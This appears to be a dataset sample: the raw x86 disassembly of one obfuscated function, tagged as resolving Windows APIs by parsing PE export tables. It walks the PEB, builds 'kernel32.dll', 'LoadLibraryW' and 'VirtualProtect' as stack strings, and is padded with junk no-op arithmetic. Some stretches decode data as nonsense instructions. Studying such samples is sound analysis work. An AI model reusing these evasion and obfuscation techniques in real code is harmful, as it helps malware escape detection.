Function at 0x42d576
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edi
and edi, 0x10982
and edi, 0x5c29
pop edi
push esi
push edx
add esp, 4
add esi, 0x13a81
pop esi
push edi
push edx
add esp, 4
or edi, 0x16149
or edi, 0x124a0
xor edi, 0x3fc3
pop edi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
sub esi, 0x1794c
or esi, 0x40b5
or esi, 0xb748
and esi, 0x103f5
pop esi
push esi
push ebx
add esp, 4
or esi, 0xee69
and esi, 0xfd8
xor esi, 0xa3c7
add byte [eax], al
add byte [eax], al
pop esi
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push ebx
push esi
add esp, 4
sub ebx, 0xf7a6
and ebx, 0x14381
sub ebx, 0x482b
and ebx, 0x1213c
pop ebx
push ebx
sub ebx, 0x5c73
sub ebx, 0x46de
sub ebx, 0x1f7d
pop ebx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x42c959
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x42c9b3
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x42c881
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x42c881
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x42c99d
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x42c9a7
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x42c9fc
push ebx
add ebx, 0x7b23
pop ebx
push ecx
push edi
add esp, 4
call 0x42c9d8
add byte [esi + 0x40], cl
aaa
inc edx
dec eax
dec edi
inc ebx
add esp, 4
xor ecx, 0x4a29
and ecx, 0xb0a1
or ecx, 0x17ab7
pop ecx
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x31c], ecx
jmp 0x42ca64
push ebx
push ebx
add esp, 4
xor ebx, 0x73f5
xor ebx, 0xfbfe
and ebx, 0xb348
pop ebx
push edi
and edi, 0x175fe
jmp 0x42ca22
jmp 0x42ca27
sub edi, 0x6bb6
pop edi
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x42ca5a
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x42c825
mov dword [ebp - 0x31c], 0
push ebx
and ebx, 0x11733
jmp 0x42ca74
call 0x42ca80
add byte [esp + ecx*2 + 0x3d], cl
inc ecx
dec edi
cmp al, byte [ebx + 0x515b04c4]
push ebx
add esp, 4
or ecx, 0xee33
or ecx, 0x991e
pop ecx
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push eax
or eax, 0xed6a
pop eax
push esi
push edx
add esp, 4
sub esi, 0x15c32
pop esi
push edi
push edx
add esp, 4
add edi, 0x4136
sub edi, 0x14f10
add edi, 0x113ae
or edi, 0x27ea
pop edi
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x42cb07
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x42cdf8
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x42cb2f
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x42cdf8
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x42cb61
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x42cdf8
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x42cb86
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x42cdf8
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19d8], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d60], ecx
mov dword [ebp - 0x768], 0
jmp 0x42cbe0
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x42cdec
xor edi, 1
add byte [eax], al
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19d4]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x19d8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d60]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19dc], eax
mov dword [ebp - 0x19c], 0
jmp 0x42cc50
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x42cd02
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x42cd02
push ecx
sub ecx, 0xc366
sub ecx, 0x4780
xor ecx, 0xa964
sub ecx, 0x16464
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x9379
xor ecx, 0x11053
and ecx, 0x17a52
pop ecx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x42ccf4
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x42ccfb
jmp 0x42cc41
jmp 0x42cd02
push esi
or esi, 0xf6b8
sub esi, 0x1057d
xor esi, 0xdcf
call 0x42cd22
add byte [esi], dh
inc eax
inc esi
inc esp
cmp eax, dword [ebx + 0x34]
add esp, 4
pop esi
push eax
add eax, 0x344
and eax, 0x9092
pop eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x42cd61
mov dword [ebp - 0xcb8], 0
jmp 0x42cdd0
push edi
add edi, 0x76e4
and edi, 0x2eb2
and edi, 0xb1ec
xor edi, 0x2ebb
pop edi
push esi
push ebx
add esp, 4
or esi, 0x16c2c
xor esi, 0xe47f
or esi, 0x1133f
pop esi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x42cdc6
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x42cdd0
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x42cde7
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x510], ecx
jmp 0x42cdf8
jmp 0x42cbd1
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push edi
call 0x42ce14
add byte [edx + 0x46], al
dec ebp
dec edi
xor eax, 0x50344537
add esp, 4
xor edi, 0x99b8
or edi, 0x1598c
or edi, 0xe1e1
pop edi
push edx
push edx
add esp, 4
add edx, 0xfdba
pop edx
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x1a2c], ecx
push esi
push esi
add esp, 4
and esi, 0x8e62
pop esi
push ecx
xor ecx, 0xf090
call 0x42ce64
add byte [esi + 0x33], al
cmp eax, 0x83494d42
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
dec edi
dec ecx
inc ebp
cmp dword [esi + 0x45], ecx
add esp, 4
pop ecx
cmp dword [ebp - 0x3e8], 0
je 0x42ce89
cmp dword [ebp - 0xab8], 0
jne 0x42cecf
push ebx
add ebx, 0x2820
call 0x42ce9d
add byte [edx + 0x47], al
cmp byte [eax + 0x3c], al
push eax
inc eax
add esp, 4
add ebx, 0x11cf
pop ebx
push eax
sub eax, 0xe953
jmp 0x42ceb3
jmp 0x42ceba
pop eax
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x19e0], edx
push 0
call dword [ebp - 0x19e0]
mov dword [ebp - 0x20f8], 0xa
push ecx
push eax
add esp, 4
jmp 0x42cee3
pop ecx
push esi
add esi, 0xa6c9
pop esi
push edi
push edx
add esp, 4
and edi, 0x71bd
pop edi
push edx
or edx, 0xe6f4
xor edx, 0x78a2
jmp 0x42cf0a
pop edx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push ecx
push eax
add esp, 4
xor ecx, 0xd641
jmp 0x42cf49
or ecx, 0xdc0e
pop ecx
push ecx
xor ecx, 0x14a10
pop ecx
push edx
and edx, 0x4bb8
jmp 0x42cf67
pop edx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edx
add edx, 0x26e5
or edx, 0x71ce
sub edx, 0x17e25
pop edx
push esi
push edx
add esp, 4
add esi, 0x119f
sub esi, 0x14afa
and esi, 0x28bd
xor esi, 0x17552
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19e4], eax
mov ecx, dword [ebp - 0x19e4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19e8], edx
mov eax, dword [ebp - 0x19e8]
mov dword [ebp - 0x1614], eax
push edx
push ecx
add esp, 4
and edx, 0x1ba6
call 0x42d044
add byte [eax + 0x42], dl
inc eax
inc edi
aas
xor edi, dword [ecx]
dec edi
add esp, 4
add edx, 0x17ab7
pop edx
push edi
and edi, 0x14f96
add edi, 0x1230e
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x42d074
mov dword [ebp - 0x2fc], 0
jmp 0x42d31b
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push eax
sub eax, 0x62bd
call 0x42d09a
add byte [ecx + 0x46], cl
cmp eax, 0x494c483f
add esp, 4
and eax, 0x334d
add eax, 0x9553
pop eax
push esi
add esi, 0x7bb7
sub esi, 0x10f4e
pop esi
cmp dword [ebp - 0xcc4], 0
jne 0x42d0d0
mov dword [ebp - 0x2fc], 0
jmp 0x42d31b
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push esi
push edx
add esp, 4
sub esi, 0x10000
pop esi
push eax
and eax, 0xe2c7
sub eax, 0x9f17
call 0x42d104
add byte [eax], bh
dec ecx
inc esp
aaa
cmp dword [ebx + 0x34], ecx
cmp byte [edi - 0x7d], al
les eax, [ecx + eax*4]
invalid
push edi
jmp 0x42d323
call 0x42d333
add byte [edi + edi], bh
dec esi
dec ebx
dec esp
dec ebx
dec edx
add esp, 4
xor edi, 0x1316
call 0x42d349
add byte [ebp + 0x42], cl
cmp dword [ecx + 0x32], ecx
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x5f
cmp dword [ebp - 0x2fc], 0
jne 0x42dc52
mov eax, 0x6b
mov word [ebp - 0x1770], ax
mov ecx, 0x65
mov word [ebp - 0x176e], cx
mov edx, 0x72
mov word [ebp - 0x176c], dx
mov eax, 0x6e
mov word [ebp - 0x176a], ax
mov ecx, 0x65
mov word [ebp - 0x1768], cx
mov edx, 0x6c
mov word [ebp - 0x1766], dx
mov eax, 0x33
mov word [ebp - 0x1764], ax
mov ecx, 0x32
mov word [ebp - 0x1762], cx
mov edx, 0x2e
mov word [ebp - 0x1760], dx
mov eax, 0x64
mov word [ebp - 0x175e], ax
mov ecx, 0x6c
mov word [ebp - 0x175c], cx
mov edx, 0x6c
mov word [ebp - 0x175a], dx
xor eax, eax
mov word [ebp - 0x1758], ax
push ebx
push ebx
add esp, 4
or ebx, 0xe5c3
call 0x42d40c
add byte [ebx], bh
dec ecx
cmp eax, 0x343f4c33
inc ebp
add esp, 4
call 0x42d41b
add byte [esi + esi + 0x4d], al
dec edx
cmp eax, dword [ebp - 0x7d]
les eax, [ecx + eax*4]
push 4
add byte [eax], al
pop ebx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19ec], ecx
mov edx, dword [ebp - 0x19ec]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19f0], eax
mov ecx, dword [ebp - 0x19f0]
mov dword [ebp - 0x1620], ecx
push esi
push edi
add esp, 4
sub esi, 0x15a8b
pop esi
push edi
push ebx
add esp, 4
xor edi, 0x8a2b
add edi, 0x128f6
pop edi
push edi
and edi, 0x164fe
and edi, 0x171c4
add edi, 0x4306
pop edi
cmp dword [ebp - 0x1620], 0
jne 0x42d4f2
mov dword [ebp - 0x774], 0
jmp 0x42d799
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push esi
push esi
add esp, 4
or esi, 0xa3b9
call 0x42d51e
add byte [eax + 0x46], cl
inc ecx
inc edi
inc ebp
inc esp
dec ebx
xor ecx, dword [edi - 0x7d]
les eax, [ecx + eax*4]
imul byte [edi + 4]
add byte [eax], al
pop esi
push eax
and eax, 0x5686
xor eax, 0x10e4e
pop eax
cmp dword [ebp - 0xcd0], 0
jne 0x42d54e
mov dword [ebp - 0x774], 0
jmp 0x42d799
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push edi
sub edi, 0x171e9
or edi, 0xe722
pop edi
push edx
call 0x42d576
add byte [ecx], bh
cmp dword [esi + 0x4c], ecx
dec esi
cmp eax, dword [ebx - 0x1d7efb3c]
add dword ds:[eax], eax
add byte [ecx + 0xd074ca], al
add byte [ecx + 0xba90f2], al
add byte [edx - 0x73], bl
test dword [eax - 0x76000018], edx
test dword [ebx + esi*8], esi
invalid
push edi
push ebx
add esp, 4
add edi, 0x743
pop edi
push esi
or esi, 0x13fa7
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0xfad
or ebx, 0x28e6
xor ebx, 0x13114
add ebx, 0x1765e
pop ebx
cmp dword [ebp - 0x774], 0
jne 0x42d815
push edx
and edx, 0x167e2
pop edx
push edi
push ecx
add esp, 4
and edi, 0x129e1
xor edi, 0x61c7
or edi, 0x17ea5
sub edi, 0xc8b
pop edi
push eax
push edi
add esp, 4
xor eax, 0xf834
pop eax
mov dword [ebp - 0xab4], 0
jmp 0x42e33d
push ecx
push esi
add esp, 4
or ecx, 0x1021f
pop ecx
push eax
call 0x42d82f
add byte [0x43334047], bh
dec esi
inc ecx
add esp, 4
pop eax
push esi
add esi, 0xa728
sub esi, 0x38c9
xor esi, 0x104f6
pop esi
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x42d886
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x42db77
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x42d8ae
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x42db77
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x42d8e0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x42db77
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x42d905
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x42db77
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19f4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19f8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19fc], edx
mov dword [ebp - 0x77c], 0
jmp 0x42d95f
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x42db6b
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19f4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19f8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19fc]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a00], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x42d9cf
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42da81
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x42da81
push eax
xor eax, 0xec22
call 0x42da12
add byte [edi + 0x3f], cl
cmp byte [esi + 0x4b], al
cmp byte [ecx + eax*2], bh
inc eax
add esp, 4
xor eax, 0xc018
pop eax
push eax
push ecx
add esp, 4
and eax, 0x48d0
and eax, 0x12270
pop eax
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x42da73
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x42da7a
jmp 0x42d9c0
jmp 0x42da81
push eax
or eax, 0x4af3
call 0x42da95
add byte [edi + 0x4d], cl
inc edi
dec eax
dec eax
dec esp
dec ebp
add esp, 4
jmp 0x42da9e
add eax, 0x3485
pop eax
push eax
sub eax, 0xe48b
and eax, 0x62f0
pop eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x42dae0
mov dword [ebp - 0xcd4], 0
jmp 0x42db4f
push esi
push edi
add esp, 4
xor esi, 0x7ed1
and esi, 0x699c
pop esi
push ebx
or ebx, 0x7d66
add ebx, 0x282
add ebx, 0x159d0
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0x726a
pop ecx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x42db45
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x42db4f
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x42db66
mov edx, dword [ebp - 0x1a00]
mov dword [ebp - 0x3f8], edx
jmp 0x42db77
jmp 0x42d950
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x42dc52
push ebx
push esi
add esp, 4
add ebx, 0x518f
and ebx, 0x10ead
and ebx, 0x17ad2
pop ebx
push edx
add edx, 0xde80
and edx, 0x7238
add edx, 0x573c
xor edx, 0x172f
pop edx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x1a04], ecx
push esi
sub esi, 0x5556
pop esi
push ebx
push edi
add esp, 4
sub ebx, 0x110a4
add ebx, 0x17bed
pop ebx
push edx
call 0x42dbea
add byte [ecx + 0x38], al
dec ecx
cmp al, 0x35
inc edx
aaa
add esp, 4
and edx, 0xe2a1
pop edx
mov edx, dword [ebp - 0x1a04]
mov dword [ebp - 0x1a08], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x1a08]
test eax, eax
jne 0x42dc52
push edx
push edi
add esp, 4
jmp 0x42dc1d
jmp 0x42dc22
and edx, 0x54e1
or edx, 0x12699
pop edx
push edi
or edi, 0x13877
and edi, 0x15464
or edi, 0xf3f
pop edi
mov dword [ebp - 0xab4], 0
jmp 0x42e33d
push eax
add eax, 0x13aab
and eax, 0x649d
sub eax, 0x6404
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x8669
add ecx, 0x1546f
add ecx, 0x14eb0
add ecx, 0x4b49
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a0c], ecx
mov edx, dword [ebp - 0x1a0c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a10], eax
mov ecx, dword [ebp - 0x1a10]
mov dword [ebp - 0x167c], ecx
push edi
push ebx
add esp, 4
or edi, 0x8cee
and edi, 0x5943
pop edi
push ecx
xor ecx, 0x9af4
sub ecx, 0x26de
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x120fe
xor edx, 0x21da
pop edx
cmp dword [ebp - 0x167c], 0
jne 0x42dcf6
mov dword [ebp - 0x2fc], 0
jmp 0x42df9d
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ebx
sub ebx, 0x101c4
pop ebx
push ecx
or ecx, 0x1246c
jmp 0x42dd1e
pop ecx
push ebx
add ebx, 0x4920
jmp 0x42dd2d
and ebx, 0x13715
and ebx, 0xcc18
pop ebx
cmp dword [ebp - 0xce0], 0
jne 0x42dd52
mov dword [ebp - 0x2fc], 0
jmp 0x42df9d
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push ebx
and ebx, 0xc327
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x82d8
sub eax, 0x155a6
pop eax
push esi
push edx
add esp, 4
and esi, 0x158ea
xor esi, 0x12a74
and esi, 0x1866d
pop esi
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
xor eax, 0xbc38
call 0x42ddcf
add byte [eax + 0x3a], al
push eax
inc ebx
cmp dword [eax], edi
cmp ecx, dword [eax - 0x7d]
les eax, [eax + ebx*2]
push ecx
jmp 0x42ddd9
pop ecx
push esi
push eax
add esp, 4
or esi, 0x13141
add esi, 0xb2ca
pop esi
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push esi
push esi
add esp, 4
or esi, 0x11820
and esi, 0xa432
add esi, 0x8989
pop esi
push edi
or edi, 0xd37f
add edi, 0x9258
or edi, 0xf7fb
xor edi, 0x12c22
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x42de92
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1684], edx
jmp 0x42deec
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x42ddba
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x42ddba
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x42ded6
mov dword [ebp - 0x1680], 0xffffffff
jmp 0x42dee0
mov dword [ebp - 0x1680], 1
mov ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x1684], ecx
cmp dword [ebp - 0x1684], 0
jne 0x42df35
push esi
push edx
add esp, 4
xor esi, 0x139f8
sub esi, 0x11019
or esi, 0x14eac
and esi, 0x17ad8
pop esi
push ecx
sub ecx, 0x124a9
or ecx, 0x2562
add ecx, 0x1765e
pop ecx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x42df9d
push eax
push esi
add esp, 4
sub eax, 0x4dcb
jmp 0x42df49
or eax, 0x13b70
pop eax
push ebx
push ecx
add esp, 4
jmp 0x42df5b
jmp 0x42df60
add ebx, 0x126c
pop ebx
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x42df93
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x42dd5e
mov dword [ebp - 0x2fc], 0
push edi
jmp 0x42dfa7
sub edi, 0x11ae4
jmp 0x42dfb6
or edi, 0x12693
pop edi
push esi
push edi
add esp, 4
and esi, 0x15cf1
add esi, 0x904f
pop esi
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push edi
push edx
add esp, 4
add edi, 0xee43
add edi, 0xa8b4
sub edi, 0xf58f
pop edi
push edx
xor edx, 0xcc75
or edx, 0x3269
xor edx, 0x3f2
or edx, 0x8f65
pop edx
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x42e040
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x42e331
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x42e068
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x42e331
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x42e09a
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x42e331
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x42e0bf
